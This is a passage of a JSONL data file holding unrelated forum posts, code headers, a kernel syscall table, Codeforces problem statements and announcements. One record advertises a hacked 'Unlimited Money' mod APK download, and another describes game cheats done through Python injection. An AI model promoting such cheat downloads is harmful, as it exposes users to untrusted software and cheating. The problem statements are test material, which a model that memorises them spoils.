fruitful information! I would also like to note that this PC has upgraded sucessfuly in the past to it's current build (1607).\nSetupDiag was unable to match to any known failure signatures. System Information: Machine Name = 1D020CLONE Manufacturer = LENOVO Model = 3493AZG HostOSArchitecture = 2057 FirmwareType = PCAT BiosReleaseDate = 20140317000000.000000+000 BiosVendor = LENOVO BIOS Rev: F1KT65A 0.0 BiosVersion = F1KT65AUS HostOSVersion = 10.0.16299 HostOSBuildString = 16299.15.x86fre.rs3_release.170928-1534 TargetOSBuildString = 10.0.18362.474 (19h1_release_svc_prod1.191028-1734) HostOSLanguageId = HostOSEdition = Professional RegisteredAV = Windows Defender FilterDrivers = FileInfo UpgradeStartTime = 26/11/2019 15:23:41 UpgradeEndTime = 26/11/2019 15:47:48 UpgradeElapsedTime = 00:24:07 CV = Acc3ynHDXEeVX6h2 ReportId = AF93B473-CB01-4AD5-95FB-EBC5356B1A92\nWhat I've tried:\n- Attempted upgrade via ISO (obtaining latest updates during setup), and WSUS all resulting in same issue\n- Ran SetupDiag to find out reason for Migrate-Data failure, resulted in no fruitful info\n- Stripped the OS to the very minimum, removing ALL user profiles except the default admin, all folders from C: Root. removed from the domain ect.\n- Removed AV (BD)\n- Update of all system drivers\n- Ran system file check commands: SFC /Scannow... DISM Restore health commands... Reset Windows update components ect.\n- Clean boot from MS CONFIG\nAny suggestions to troubleshooting steps will be deeply appreciated.\nReally seem to be hitting a brick wall now with what to try! :-]\nMost helpful reply to this topic\nHave you tried to do a step-upgrade from 1607 to 1703 or 1709? And then after if that's successful, a step upgrade to 1803 or 1809, and then finally if successful to 1903?\nI know you shouldn't have to do this, but...\nIf you need the ISO's, for any of the versions, I have them and if you PM me a place to upload them (without having to register), I will. Just let me know if you need x86 or x64\nThis tool will help you pin down why Windows 10 upgrade failed. Very useful in the coming months for those Windows 7 in place upgrades.\nSetupDiag works by examining Windows Setup log files. It attempts to parse these log files to determine the root cause of a failure to update or upgrade the computer to Windows 10. SetupDiag can be run on the computer that failed to update, or you can export logs from the computer to another location and run SetupDiag in offline mode.\nMost helpful replies to this topic\nThanks for sharing.\nHopefully it works well, trying to scan through a setup log and actually find something can be a feat.\nThankfully we're all W10 as of last year.\nThis page was compiled from hundreds of thousands of questions and answers posted in our Community.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1419, "token_count_with_eod": 1420, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I dont get it: My liquid Domain is in the shape (shown below) like a bottom of a glass. BUT: When I bake, the liquid fills up a square, outside the domain area as if it’s filling up a cube. any suggestions on how to fix?\nThe domain of the liquid is the bounding box of the object you set as the domain. You should set your glass to be an obstacle, with a domain around it.\nto give more info, a domain is the place a liquid simulation occurs, and it willl always be a cube, no matter what the domain mesh object is (all you can do is scale it). obstaces are the main course you should take for collisions, not domains, since they can be made to any object shape.\nAnd to add to what was allready said. The domain is the boundingbox of the object set as domain.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef SHIM_SHIM_LOGGER_H_\n#define SHIM_SHIM_LOGGER_H_\n\n#include \"lib/logger/logger.h\"\n\n#include <stdio.h>\n\nLogger* shimlogger_new(FILE* file);\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 43, "token_count_with_eod": 44, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Super Contraption is a physics-based sandbox construction game in which you construct machines.\nCreate whatever contraption you can think of!\nSee what kind of machines you can come up with. Examine how your contraptions perform in various environments, such as on the moon or deep beneath the sea. Experiment with gravity, air resistance, magnetism, and other ideas, with new ones being added all the time.\nThere is no core goal to the game other than experimenting and being creative.\nMake a Rube Goldberg contraption or a basic toy.\nBuild anything you want, such as a rocket ship with cupcake cannons or a flying blimp stronghold.\nSave your inventions and come back to them later.\nPlay in a variety of worlds, with new planets and objects being introduced on a regular basis.\nBecause this is a physics simulation game, it should be played on a device that is at least a few years old. When playing Super Contraption on a slower device, the frame rate may be lowered or the game may close.\nIn the coming upgrades, the ability to share contraptions and view other shared contraptions should be available.\nSuper Contraption Hack Details:\nThe mod APK of this game brings you the following additions:\n- Unlimited Money hack\nWhere to Download Super Contraption Mod APK file?\nVisit the Downloads section to download the hack APK.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 284, "token_count_with_eod": 285, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I understand, its a job for a coder but they have retired. Its a really weird thing and i dont know why it happens. The only thing I could think of is maybe theres a problem with the box, since the bug doesnt happen when a staff just makes the item in their bag. But I dunno what that could be. I still want to try and get a video of it just for interests sake, but after that Ill just sell them or use for house deco. Thanks for looking into it tho.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi guys I am basically new to solidworks. I learn this software as a part of my syllabus. They don't teach us every feature in college. So I took an initiative and learnt assembly and much more on my own. So I would like to know how to incoporate a design on a 3D model? Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I was recently asked by a client to give her some advice on expanding overseas and how to approach the setup of the website. People tend to respond better to sites based locally (i.e. Aussies are more likely to click on a .com.au site than a .com site in Google) so how can you have local sites when expanding overseas without dramatically increasing your maintenance costs and what is the best domain structure?\nHere are some considerations (by no means an exhaustive list).\nOne option is to keep the one site and have an overseas domain that takes people to it. This is what we do with our site www.awebsitedesigner.com you will notice when you go there it is exactly the same as http://awebsitedesigner.com.au because it just points directly to it. However as soon as you navigate away from the homepage the true domain is shown. There are other ways you can do this and avoid the real domain from being shown but usually most people want some unique content for their site and give consideration for search engine results so other approaches are preferred.\nOne site (.com) multiple locations within it\nGo to www.electronicarts.com.au you will notice the site takes you to http://www.ea.com/au/ same with www.electronicarts.co.uk takes you to http://www.ea.com/uk. This is one way to handle it. The benefits are you can have all of your one content sitting on the one domain. The downside is it’s not as good for SEO since location specific domains rate higher in location based searches (i.e. .com.au’s will generally rank higher in Google Australia’s searches ‘ particularly if people select “Pages by Australia” which often people do. You still do have to consider the issue of content however. Electronic arts have different content on both locations so its effectively like having 2 websites (depending on how they do it).\n2 local domains ‘ one database\nWith this option you could have www.site.com.au and www.site.co.uk or www.site.com and you could have exactly the same site on both but they could refer to a central database which means you don’t have to maintain 2 sets of content or product catalogues. So when someone purchases the last of a product from www.site.com.au the updated quantity will be reflected on www.site.com or you add a product to www.site.com and it shows up on www.site.com.au as well (because they both look at the same database). Depending on how your site is built this could be possible but also could be tricky because anything that isn’t saved in the database (i.e. images) would somehow have to be copied to both sites. Extra coding would need to be done to make this work.\nWith the above options you could do tricky stuff to show certain content based on the domain. For example you might have everything in the site exactly the same except for the homepage welcome message. You could have the code look at the domain where it is accessed and then show certain content based on that. However if there is extensive differences between both sites your only real option is to have 2 completely separate sites.\n2 Completely separate sites\nThis is the obvious solution, have 2 completely separate sites for both locations. You have to main 2 sites, 2 lots of content etc. When you change anything it needs to be changed twice. This is more costly but the site ends up being more specific to the location which has its benefits for SEO and for visitors and depending on your business model might be required anyway (i.e. some products only available in some areas, shipping costs being different etc).\nThere are lots of options and every company takes a slightly different approach but the ones above are the most common ones that spring to mind.\nDoes anyone know any others?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 776, "token_count_with_eod": 777, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This content has been marked as final. Show 5 replies\nYou can install your own cookie handler before you create WebViews. WebView won't replace whatever cookie handler is already installed.\nThank for your reply Peter,\nI´ve been pursuing your hint last night, but after some long hours analyzing this not sure if i know what you mean.\nHow can i replace the cookiehandler, its an abstract class, i can extended it like the default cookiemanager, but i can´t force webview to use it or can i?\nAnother thing, from this post:\n\"Vasiliy also explained that WebView will install it's own implementation of the CookieHandler, while retaining cookies put into the default one.\"\nIf this true, no matter what i do with the default cookiehandler this will not work, since webview will install it´s own implementation..\nIt seems that someone forgot that an more than 1 webview instance could run at the same time, because the problem only arises if running in the same VM, in different VM it´s behaves as it should.\nIf you have more toughts about this please share.\nWebView installs its own handler only if the default one is null, otherwise it won't replace the already installed one. CookieHandler is static -- that's why two WebViews share the same instance -- so you don't have to do anything special to make WebView aware of the handler. It will just use whatever handler is installed, as any code that uses HttpURLConnection would do.1 person found this helpful\nStill in your custom handler you'll have to somehow distinguish requests coming from two WebViews, that may be tricky given that the interface is simply\nMap get(URI uri, Map<String,List<String>> requestHeaders);\nYes, that´s what i understood when i was reading the interface cookiehandler, static.\nVery tricky stuff, and its really not my strong, cookies.\nBut i only want this to work in one website, so i know the ulr for the cookies, i could add some code to differentiate the cookies to be able to have 2 or more of the same, but the problem is how do i get them back in the get method..\nWell, will think about this..If any thoughts about how to make this happen let me know.\nThank you again Peter, this was helpful.\nI found a way to overcome this problem by implementing a custom version of cookiemanager, although the original problem is not solved, i marked this as answered because it provided an solution to my question.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 523, "token_count_with_eod": 524, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  INSTaskConfigurationPresentStyleBasedViewController.h\n//  INSTomato\n//\n//  Created by XueFeng Chen on 2021/1/30.\n//\n\n#import \"INSBaseViewController.h\"\n\n@class INSTaskModel;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface INSTaskConfigurationPresentStyleBasedViewController : INSBaseViewController\n\n@property (nonatomic, strong) UIPickerView *pickerView;\n@property (nonatomic, strong) UILabel *descriptionLabel;\n\n@property (nonatomic, strong) INSTaskModel *taskModel;\n\n- (instancetype)initWithTaskModel:(INSTaskModel *)taskModel;\n\n- (void)clickCloseButton:(id)sender;\n\n@end\n\nNS_ASSUME_NONNULL_END", "source": "cpt_stack_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/*! System call - call to kernel from threads (via software interrupt) */\n\n#define _K_SYSCALL_C_\n\n#include \"syscall.h\"\n\n#include <kernel/pthread.h>\n#include <kernel/device.h>\n#include <kernel/errno.h>\n#include <kernel/features.h>\n#include <kernel/memory.h>\n#include <kernel/signal.h>\n#include <kernel/time.h>\n\n#include \"thread.h\"\n#include <arch/syscall.h>\n#include <arch/interrupt.h>\n#include <arch/processor.h>\n\n/*! syscall handlers */\nstatic int (*k_sysfunc[SYSFUNCS]) ( void *params ) =\n{\n\tNULL,\n\n\tsys__sysinfo,\n\tsys__feature,\n\n\tsys__set_errno,\n\tsys__get_errno,\n\tsys__get_errno_ptr,\n\n\tsys__clock_gettime,\n\tsys__clock_settime,\n\tsys__clock_nanosleep,\n\n\tsys__timer_create,\n\tsys__timer_delete,\n\tsys__timer_settime,\n\tsys__timer_gettime,\n\n\tsys__open,\n\tsys__close,\n\tsys__read,\n\tsys__write,\n\tsys__device_status,\n\tsys__poll,\n\n\tsys__pthread_create,\n\tsys__pthread_exit,\n\tsys__pthread_join,\n\tsys__pthread_self,\n\n\tsys__pthread_setschedparam,\n\n\tsys__pthread_mutex_init,\n\tsys__pthread_mutex_destroy,\n\tsys__pthread_mutex_lock,\n\tsys__pthread_mutex_unlock,\n\tsys__pthread_cond_init,\n\tsys__pthread_cond_destroy,\n\tsys__pthread_cond_wait,\n\tsys__pthread_cond_signal,\n\tsys__pthread_cond_broadcast,\n\n\tsys__sem_init,\n\tsys__sem_destroy,\n\tsys__sem_wait,\n\tsys__sem_post,\n\n\tsys__mq_open,\n\tsys__mq_close,\n\tsys__mq_send,\n\tsys__mq_receive,\n\n\tsys__sigaction,\n\tsys__pthread_sigmask,\n\tsys__sigqueue,\n\tsys__sigwaitinfo,\n\n\tsys__posix_spawn\n};\n\n/*!\n * Process syscalls\n * (syscall is forwarded from arch interrupt subsystem to k_syscall)\n */\nvoid k_syscall ( uint irqn )\n{\n\tint id, retval;\n\tvoid *context, *params;\n\n\tASSERT ( irqn == SOFTWARE_INTERRUPT );\n\n\tcontext = kthread_get_context ( NULL ); /* active thread context */\n\n\tid = arch_syscall_get_id ( context );\n\n\tASSERT ( id >= 0 && id < SYSFUNCS );\n\n\tparams = arch_syscall_get_params ( context );\n\n\tretval = k_sysfunc[id] ( params );\n\n\tif ( id != PTHREAD_EXIT )\n\t\tarch_syscall_set_retval ( context, retval );\n}\n\n/*! Stop processor until next interrupt occurs - for idle thread only! */\nint sys__suspend ( void *p )\n{\n\tenable_interrupts ();\n\tsuspend ();\n\tdisable_interrupts ();\n\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 618, "token_count_with_eod": 619, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "We had a string s consisting of n lowercase Latin letters. We made k copies of this string, thus obtaining k identical strings s1, s2, ..., sk. After that, in each of these strings we swapped exactly two characters (the characters we swapped could be identical, but they had different indices in the string).\n\nYou are given k strings s1, s2, ..., sk, and you have to restore any string s so that it is possible to obtain these strings by performing aforementioned operations. Note that the total length of the strings you are given doesn't exceed 5000 (that is, k·n ≤ 5000).", "source": "cpt_codeforces", "language": "en", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "15-day Public Review for Product Life Cycle Support V1.0\nThe OASIS Product Life Cycle Support (PLCS) TC members  have produced an updated Committee Specification Draft (CSD) and submitted this specification for 15-day public review:\nProduct Life Cycle Support Version 1.0\nCommittee Specification Draft 02 / Public Review Draft 02\n19 July 2013\nThe purpose of the OASIS Product Life Cycle Support (PLCS) standard is to establish structured data exchange and sharing capabilities for use by industry to support complex engineered assets throughout their total life cycle. The OASIS Product Life Cycle Support (PLCS) standard is defined by Data Exchange Specifications (DEX) that are based upon ISO 10303 (STEP) Application Protocol 239 Product Life Cycle Support. This draft includes the PLCS library, templates, derived SysML and XML models and associated reference data.\nPlease note that this Committee Specification Draft is a highly interlinked collection of HTML documents. The navigation links on the top and in the left column provide accesss to the components of the draft. The link to Help on the navigation links includes an explanation of the organization of the material. The Help topic \"PLCSlib navigation\" explains how to use the interface.\nThe TC is currently developing templates for deployment of the ISO 10303-239 standard, together with associated SysML and XML models to facilitate implementation. It is intended that the work be adopted by ISO.\nPublic Review Period:\nThe public review starts 6 August 2013 at 00:00 GMT and ends 21 August 2013 at 23:59 GMT. The specification was previously submitted for public review .\nThis is an open invitation to comment. OASIS solicits feedback from potential users, developers and others, whether OASIS members or not, for the sake of improving the interoperability and quality of its technical work.\nDue to the complex structure of the material, the TC requests that, when making a comment, you prefix the comment with a label identifying the artifact against which the comment is made:\n- For comments against the PLCS Platform Specific Model: EXPRESS information model, use \"(plcs-psm.exp).\"\n- For comments against the PLCS Platform Specific Model: SysML information model, use \"(plcs-psm.xmi).\"\n- For comments against the XML Schema, use \"(plcs-psm.xsd).\"\n- For comments against the Schematron, use \"(plcs-psm.sch).\"\n- For comments against the PLCS Platform Specific Model: OWL Reference Data, use \"(plcs-psm-en.owl).\"\n- For comments against the PLCS OWL Reference Data, use \"(plcs-rdl-en.owl).\"\n- For comments against a template, use \"Template: .\"\nThe members of the TC thank reviewers in advance for helping to make the comments traceable.\nThe prose specification document and related files are available here:\nPDF (Cover pages only with links to specification):\nZIP distribution files (complete):\nFor your convenience, OASIS provides a complete package of the prose specification and related files in a ZIP distribution file. You can download the ZIP file here:\nAdditional information about this specification and the PLCS TC may be found on the TC's public home page located at:\nComments may be submitted to the TC by any person through the use of the OASIS TC Comment Facility which can be accessed by following the instructions at \"Send A Comment\" at the top of the TC public home page, or directly at:\nFeedback submitted by TC non-members for this work and for other work of this TC is publicly archived and can be viewed at:\nAll comments submitted to OASIS are subject to the OASIS Feedback License, which ensures that the feedback you provide carries the same obligations at least as the obligations of the TC members. In connection with this public review of \"Product Life Cycle Support Version 1.0\", we call your attention to the OASIS IPR Policy  applicable especially  to the work of this technical committee. All members of the TC should be familiar with this document, which may create obligations regarding the disclosure and availability of a member's patent, copyright, trademark and license rights that read on an approved OASIS specification. OASIS invites any persons who know of any such claims to disclose these if they may be essential to the implementation of the above specification, so that notice of them may be posted to the notice page for this TC's work.\n========== Additional references:\n OASIS Product Life Cycle Support (PLCS) TC\n Previous public reviews:\n30-day public review, 27 March 2013: https://lists.oasis-open.org/archives/tc-announce/201303/msg00007.html\nComment resolution log: http://docs.oasis-open.org/plcs/plcslib/v1.0/csprd01/plcs-plcslib-v1.0-c...\nRF on Limited Terms Mode", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1064, "token_count_with_eod": 1065, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hey all! I've created an open-source Poketch app for the Apple Watch that attempts to emulate some of the \"apps\" from the original Poketch in Pokemon Diamond and Pearl!\nAnti-spam measures seem to be preventing me from linking to the source code, but you can find the link in the description of the video. The idea behind this project was to recreate as many of the original Poketch's features on the Apple Watch using SwiftUI and WatchOS 8. Since this was my first Swift application, I had to learn on the fly as well as discover all of Xcode's fun little quirks like 100gb memory leaks and such. I'm pretty happy with how it turned out, and I've released all the source code under the MPL license!\nLast edited by Idrees,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 165, "token_count_with_eod": 166, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Search for a funded project\nUltra Low Power Consumption Low Noise Cryogenics and Ambient MMIC for Space Telecommunications in Q-band – Low.IQ\nand autonomous applications for the ambient intelligence. Within the framework of this project, low\npress, radio and television broadcasts more intelligible, viewable and searchable at a macro-level of\nThis study concerns the field of Artificial Intelligence, specifically the SAT (satisfiability problem\nTechnical, economic and environmental feasibility of solide oxyde fuel cells (SOFC) for electricity generation from biogas – PILE-EAU-BIOGAZ\ndesign and integration of systems including intelligent management of energy and finally evaluate the\nStudy of signal transduction mechanisms through investigation of receptor conformational changes – ARCHITECT\nIt is crucial to understand the structural bases of membrane receptor function and to link the receptor conformational changes to specific cell responses. In particular, to develop therapeutics with an increased beneficial effect and less side effects, it is necessary to determine how ligands (hormones and neurotransmitters) activate / inactivate their receptor targets and what are the associated cellular signals.\nStrong local consistency filtering for weighted constraint networks and other graphical models – FICOLOFO\nThis project is an essential part of the process of extending the classical Constraint Programming paradigm to optimization problems by defining a Cost Function Programming framework. <br />We are fitting our Cost Function Network Solver toulbar2 with stronger inference algorithms, global cost functions and making it easier to use through a python/Numberjack interface. Several applications (nurse rostering, protein design, crop allocation problems) are already handled by Cost Function programming.\nIn order to simulate the energy performance of low energy buildings more precisely, human behaviour can be modeled through multi-agent systems and coupled to dynamical building simulation. Exploiting electrical load profiles or other measured data allows for identification of simplified models of buildings or appliances, and, in return, for better sizing and control of the building systems and appliances.\nThe SATURN project takes place in this context of <br />autonomous embedded systems and proposes to revise the actual fundamentals of embedded computing architectures. We propose in this project an original approach compared to the classical centralised approaches based on new computation paradigms. The SATURN project associates researchers from digital embedded systems and artificial intelligence in order to define this architecture <br />of a new type for smart embedded plateforms.\nalgorithms and in the design of experimental intelligent vehicles. They have also participated in projects", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I started my pyramania with an IceDice set, and I missed the window for the old tube-packaged sets of Treehouse. But now I'd like to get my hands on a copy of the rules from that set. Or maybe someone could even tell me whether it will really answer my need. Here's the scenario.\nPink Hijinks is adorable, but a little frustrating in the face of the terrific flexibility offered by the contents of other pyramid games. E.g. The new Treehouse set explicitly offers itself to play Pharaoh, but it's also ready for IceSickle, Ice Age, and other game options. For a little while, I thought that Pink Hijinks itself was the only game playable with the contents of the Pink Hijinks bag. Then I realized that I could add a Treehouse die, and the kit would be sufficient for a two-handed game of Treehouse.\nSo I'd like a copy of the rules that will fit in the Hijinks bag, to orient new players. The IceSheet version is too big, but I'm hopeful that the rules from the old Treehouse tubes will do the trick.\nThere's a scan at boardgamegeek of some older version of the Treehouse rules from the tube:\nYeah, that's just what I need. Thanks!\nif you give me your address, I can probably send you one of my dozen sets of classic treehouse rules.\nfFunny thing about those. you'd buy a bunch of tubes, and you'd get a whole lot of rules to that one game. I think i still have lots of copies in my bag of stuff.\nTerrific. I'm actually having trouble legibly printing out the BGG image file. I'll send you my address. I figured there would be folks with a surplus of old tube rules. Thanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 378, "token_count_with_eod": 379, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "One of the big issues that I would like to focus more attention on is python injection.\nFor the folks that are unaware, much of the EvE client and server are written in a programming language called Python. The usage of Python would normally be fine, though it does have some effect on the speed of the client, but the major problem is that people have been injecting their own python code into the client, in order to do a bunch of different things. Currently, one can easily find the following available:\n1) A script that modifies the in game autopilot to warp to 0 km from a gate, instead of the normal 15 km.\n2) A script that removes the session change timer when jumping, undocking, joining a fleet, etc.\n3) A script that modifies the scanner to add the following features:\nA) Load/Save probe positions. Lets say you get a hit on 2 different sigs in one scan. You can save the probe positions, scan one down, then load and work on the 2nd one.\nB) Contract/Expand probes around their center point.\nC) Load/Save signatures to ignore\nD) Center probes around a signature\nE) Make it so when people warp off, they stay visible in the direction they warped.\n4) Several different bots, some public and some private. These bots can be much more advanced than bots that have to use screen reading technologies.\nIt does sound like CCP has at least started to crack down on the guys that are using python injection, which is a good sign. They need to be much more aggressive, as well as crack down hard on botting in general.\nI realized I left out my last paragraph, about why this stuff is worse than botting. Other than the last one, all of these can be used by regular players to gain unfair advantages both in combat and out of combat.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 393, "token_count_with_eod": 394, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am developing a custom plugin for a friends server which limits the growth of wheat to 1 stage per a minecraft day. As far as I can tell there isn't an event for when crops grow, or when the state of a block changes. If there is please do tell. Is there currently a way to do this as a plugin and not as a custom bukkit build? I don't need the plugin made for me, but some pointers in the right direction would help. Thank you for your time.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Last year Bob earned by selling memory sticks. During each of n days of his work one of the two following events took place:\n\n- A customer came to Bob and asked to sell him a 2x MB memory stick. If Bob had such a stick, he sold it and got 2x berllars.\n- Bob won some programming competition and got a 2x MB memory stick as a prize. Bob could choose whether to present this memory stick to one of his friends, or keep it.\n\nBob never kept more than one memory stick, as he feared to mix up their capacities, and deceive a customer unintentionally. It is also known that for each memory stick capacity there was at most one customer, who wanted to buy that memory stick. Now, knowing all the customers' demands and all the prizes won at programming competitions during the last n days, Bob wants to know, how much money he could have earned, if he had acted optimally.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Marina loves Sasha. But she keeps wondering whether Sasha loves her. Of course, the best way to know it is fortune telling. There are many ways of telling fortune, but Marina has picked the easiest one. She takes in her hand one or several camomiles and tears off the petals one by one. After each petal she pronounces alternatively \"Loves\" and \"Doesn't love\", at that Marina always starts with \"Loves\". There are n camomiles growing in the field, possessing the numbers of petals equal to a1, a2, ... an. Marina wants to pick a bouquet with the maximal possible total number of petals so that the result would still be \"Loves\". Help her do that; find the maximal number of petals possible in the bouquet.", "source": "cpt_codeforces", "language": "en", "token_count": 160, "token_count_with_eod": 161, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "MarkN writes \"There's hardly a video game made nowadays that doesn't involve puzzles in some sense. In some games they serve as occasional roadblocks to break up the action, and in the genre of adventure games the whole focus of the game is solving a set of related puzzles. I've written a piece for AdventureClassicGaming describing and categorizing puzzles in adventure games. Adventure games make use of explicitly designed abstract puzzles — they're explicitly designed rather than being randomly or procedurally generated, and abstract in the sense that all you need to do is figure out the right actions to perform, rather than making the performing of those actions be a challenge in and of itself. My classification makes distinctions at two levels: you have self-contained puzzles, which can depend upon using your basic verbs of interaction, solving some minigame based around achieving a particular configuration, or providing an answer to a riddle. On the other side, you have puzzles that require some external key: this could be an item, a piece of information, or an internal change to the game's state triggered somewhere else. From there, I talk about some of the possibilities and pitfalls these puzzles carry, as well as their use in other genres. I'd be interested to hear the community's thoughts on the use and application of puzzles in adventure games, and games in general.\"", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It has came to our attention that about 10% of the Coat of Arms thumbnails are generated incorrectly, with their top and bottom missing. It doesn't seem related to any particular shape or other design setting and we couldn't yet reproduce the issue on our development configs.\nIf you are affected, we would be very thankful for any additional information you can provide on your configuration either here or through email (bugs at feudums dot com). In particular:\n- do you have an integrated graphics card? (or: what kind of gfx card you have?)\n- under what resolution have you used the client? (and full screen or windowed?)\n- your version of the Windows OS", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When I was a kid, thought how great it will be to have my own family since I live in a happy one. But the older we grow, the more scary we are. Everything we are planning to do seems to be a big bet for us because there are too much to consider and once you make the decision, you have to take all the outcomes no matter what.\nTo live with someone is not an easy thing, and I just realized that couple weeks ago. A lot of things needed to be adjusted, even your living ways because you are not living in your own room any more. Everything has to be shared and there are different rules for different people. Like how to do laundry, how to fold the clothes, how to put the dishes, ......blah blah blah...a lot, a lot needed to be learned and communcation is not really an easy thing to do tho.\nOn the other hand, you would be afraid of things.....afraid of what will come next.....and the uncertainty hits you from time to time tho. It's scary and you really have no idea if you will be okay or not!!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You can send in entries for the 2017 edition of Roze Filmdagen / Pink Film Days until December 15, 2016.\nThe Roze Filmdagen, the Amsterdam LGBTQ Film Festival, programs a broad and international range of feature films, shorts, and documentaries that are relevant to the LGBTQ community.\nEntries can be from any country, any genre and any format, as long as it's relevant to the LGBTQ community. The Roze Filmdagen does not charge an entry fee.\nNOTE: due to the large number of entries received, we can not individually send out messages to all entries when your film is not selected. We're really sorry, but we have a very limited time between the deadline (Dec 15, 2016) and the finalization of the programme. So, if you haven't received word from us by January 31, 2017, that means your entry is not selected.\nWe actually prefer online entries via a service like Vimeo. If you do, don't forget to include all necessary information, like the password for a private viewing. And please, make sure the resolution is enough to actually judge it.\nAlso, our programming team uses a variety of computers and operating systems. Platform-neutral services like Vimeo, Youtube and the like are preferred over Silverlight, Flash or other proprietary solutions.\nYou can also of course send in a DVD. Please, then also fill in the following form, so we know that something is coming in the mail!\nThe address for physical submissions is:\nc/o Werner Borkes\nWeteringschans 38 - 3\n1017 SH Amsterdam", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 353, "token_count_with_eod": 354, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Prevent this user from interacting with your repositories and sending you notifications.\nLearn more about blocking users.\nContact GitHub support about this user’s behavior.\nLearn more about reporting abuse.\nAllows Rails to manage a second database in your projects (gets you to secondbase)\nExtends ActiveRecord validations with reusable and customizable validation methods.\nForked from roidrage/shoulda-addons\nAwesome add-ons to make Shoulda more awesome.\nLightning talk about secondbase\nForked from thoughtbot/shoulda-matchers\nCollection of testing matchers extracted from Shoulda\nSeeing something unexpected? Take a look at the\nGitHub profile guide.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a string. Remove all digits from it. When a character is removed from a string, all characters to the right of it are shifted one position to the left.", "source": "cpt_codeforces", "language": "en", "token_count": 36, "token_count_with_eod": 37, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Эта тема была архивирована. Если вам нужна помощь, задайте новый вопрос.\nFirefox Mobile is slow/lags with all operations on Nokia N900\nI've been consistently using the Maemo default browser but decided to try FF again after the recent update. I love the Weave integration, and besides being a die-hard ff user, i like being able to have my bookmarks, tabs, passwords, and history synced, as well as having spell check support.\nMy issue is that ff is so slow on my phone it is nearly unusable. Startup time is usually 15 seconds minimum, and scrolling, or even side screening to get to tabs, or options takes forever, or i have to just stop and wait for 20 seconds until things \"catch up\" and even then they're still slow. Is there something I'm doing wrong or something I can do to speed things up??\nВсе ответы (9)\nsame for me. slow and no zoom. it's just crap\nYou can zoom by either double tapping on an element or by using ctrl+up/down on the keyboard.\nThere are a couple issues with the browser that i imagine will be addressed in later versions, such as. The limitations with page scailing and dynamic zoom. N900 long press options not enabled. Lack of flash support without a youtube addon. Generally slow response times.\nFirefox hasnt let me down so far with its desktop browser so hopefully they can iron these issues out.\n@Taylor - Flash works, just follow these instructions to enable it: http://www.nokiaphoneblog.com/?p=2945\nAfter a week of using the N900, I've found that FF Mobile is pretty unusable, even over wifi.\nfirefox works perfectly on my n900. so far i havent had issues with it I just like so much! when i downloaded the first time i recall it was really slow. hence i deleted and downloaded again, now it works just fine! you can try reset your device to factory set up and star over. trust me it worths it. peace out.\nYeah works pretty well, now I've enabled flash.\nBear in mind the N900 doesnt have a huge amount of CPU horsepower so if you've got any other CPU hogs running in the background (the media player \"tracker\" indexer is one that I've been fighting with) it's going to have a detrimental effect on anything else running.\nDownload htop from the repository and have a look.\nFor some web pages, Firefox appears to be as fast as the built in Maemo Microb browser, but for other websites it is much slower - for example my Zimbra email login.\nI hope they optimize it and release a faster Firefox.\nI have n900 working with flash but is very slow, it's a slide show i'm watching. Either they need to put a better cpu or optimize the software. I hope it's just software optimization because if it isn't I'm selling it. I only bought it knowing that it has flash support.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 642, "token_count_with_eod": 643, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
